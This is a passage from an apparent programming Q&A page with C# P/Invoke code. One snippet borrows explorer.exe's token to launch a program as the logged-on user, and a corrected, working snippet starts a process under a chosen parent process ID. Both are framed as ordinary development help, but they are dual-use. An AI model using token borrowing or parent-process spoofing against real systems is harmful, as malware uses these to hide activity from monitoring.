bool retVal = CreateEnvironmentBlock(ref envBlock, token, false);
if (retVal == false)
{
//Environment Block, things like common paths to My Documents etc.
//Will not be created if "false"
//It should not adversley affect CreateProcessAsUser.
string message = String.Format("CreateEnvironmentBlock Error: {0}", Marshal.GetLastWin32Error());
Debug.WriteLine(message);
}
return envBlock;
}
public static bool Launch(string appCmdLine /*,int processId*/)
{
bool ret = false;
//Either specify the processID explicitly
//Or try to get it from a process owned by the user.
//In this case assuming there is only one explorer.exe
Process[] ps = Process.GetProcessesByName("explorer");
int processId = -1;//=processId
if (ps.Length > 0)
{
processId = ps[0].Id;
}
if (processId > 1)
{
IntPtr token = GetPrimaryToken(processId);
if (token != IntPtr.Zero)
{
IntPtr envBlock = GetEnvironmentBlock(token);
ret = LaunchProcessAsUser(appCmdLine, token, envBlock);
if (envBlock != IntPtr.Zero)
DestroyEnvironmentBlock(envBlock);
CloseHandle(token);
}
}
return ret;
}
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct SECURITY_ATTRIBUTES
{
public uint nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
internal enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
internal enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
to use above code.
ProcessAsUser.Launch("applicationlocation.exe");
or Simply you can try this.
In your Wpf App.cs code file.
protected override void OnExit(ExitEventArgs e)
{
base.OnExit(e);
System.Windows.Forms.Application.Restart();
}
But this solution will not guarentee that application will start again if closed. so i haved used the Windows Service one.

How to call CreateProcess() with STARTUPINFOEX from C# and re-parent the child

I need to create a new process but so that it is a "child" of another process not the current process eg re-parent the new process.
The following have got me almost there .NET : How to call CreateProcessAsUser() with STARTUPINFOEX from C# and .NET : How to PInvoke UpdateProcThreadAttribute and http://winprogger.com/launching-a-non-child-process/
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
public class ProcessCreator
{
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(
string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(
out IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(
out IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
public static bool CreateProcess(int parentProcessId)
{
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
var pInfo = new PROCESS_INFORMATION();
var sInfoEx = new STARTUPINFOEX();
sInfoEx.StartupInfo = new STARTUPINFO();
if (parentProcessId > 0)
{
var lpSize = IntPtr.Zero;
IntPtr dummyPtr;
var success = InitializeProcThreadAttributeList(out dummyPtr, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
return false;
}
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
if (sInfoEx.lpAttributeList == IntPtr.Zero)
{
return false;
}
success = InitializeProcThreadAttributeList(out sInfoEx.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
return false;
}
var parentHandle = Process.GetProcessById(parentProcessId).Handle;
success = UpdateProcThreadAttribute(
out sInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
parentHandle,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
return false;
}
sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);
}
var pSec = new SECURITY_ATTRIBUTES();
var tSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
var lpApplicationName = Path.Combine(Environment.SystemDirectory, "notepad.exe");
return CreateProcess(lpApplicationName, null, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
}
ProcessCreator.CreateProcess(0) starts Notepad as a child of current process which is the default behaviour. So far so good.
If the value passed in is non 0 the code attempts to start Notepad as a child of the process whose process ID matches the input value (I am assuming that process exists for now).
Unfortunately that part does not work and throws the following exception:
FatalExecutionEngineError was detected
Message: The runtime has encountered a fatal error. The address of the error was at 0x69a2c7ad, on thread 0x1de0. The error code is 0xc0000005. This error may be a bug in the CLR or in the unsafe or non-verifiable portions of user code. Common sources of this bug include user marshaling errors for COM-interop or PInvoke, which may corrupt the stack.
Any pointers much appreciated.
There are two issues with your code. First, the lpAttributeList parameter of the InitializeProcThreadAttributeList and UpdateProcThreadAttribute functions must be typed as IntPtr with no out modifier. Second, the lpValue parameter of the UpdateProcThreadAttribute function must be a pointer to the attribute value (in your case, parentHandle), not the value itself. Below is the fixed code.
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
public class ProcessCreator
{
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(
string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(
IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
public static bool CreateProcess(int parentProcessId)
{
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
var pInfo = new PROCESS_INFORMATION();
var sInfoEx = new STARTUPINFOEX();
sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);
IntPtr lpValue = IntPtr.Zero;
try
{
if (parentProcessId > 0)
{
var lpSize = IntPtr.Zero;
var success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
return false;
}
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
success = InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
return false;
}
var parentHandle = Process.GetProcessById(parentProcessId).Handle;
// This value should persist until the attribute list is destroyed using the DeleteProcThreadAttributeList function
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, parentHandle);
success = UpdateProcThreadAttribute(
sInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
return false;
}
}
var pSec = new SECURITY_ATTRIBUTES();
var tSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
var lpApplicationName = Path.Combine(Environment.SystemDirectory, "notepad.exe");
return CreateProcess(lpApplicationName, null, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
}
finally
{
// Free the attribute list
if (sInfoEx.lpAttributeList != IntPtr.Zero)
{
DeleteProcThreadAttributeList(sInfoEx.lpAttributeList);
Marshal.FreeHGlobal(sInfoEx.lpAttributeList);
}
Marshal.FreeHGlobal(lpValue);
// Close process and thread handles
if (pInfo.hProcess != IntPtr.Zero)
{
CloseHandle(pInfo.hProcess);
}
if (pInfo.hThread != IntPtr.Zero)
{
CloseHandle(pInfo.hThread);
}
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
}

Categories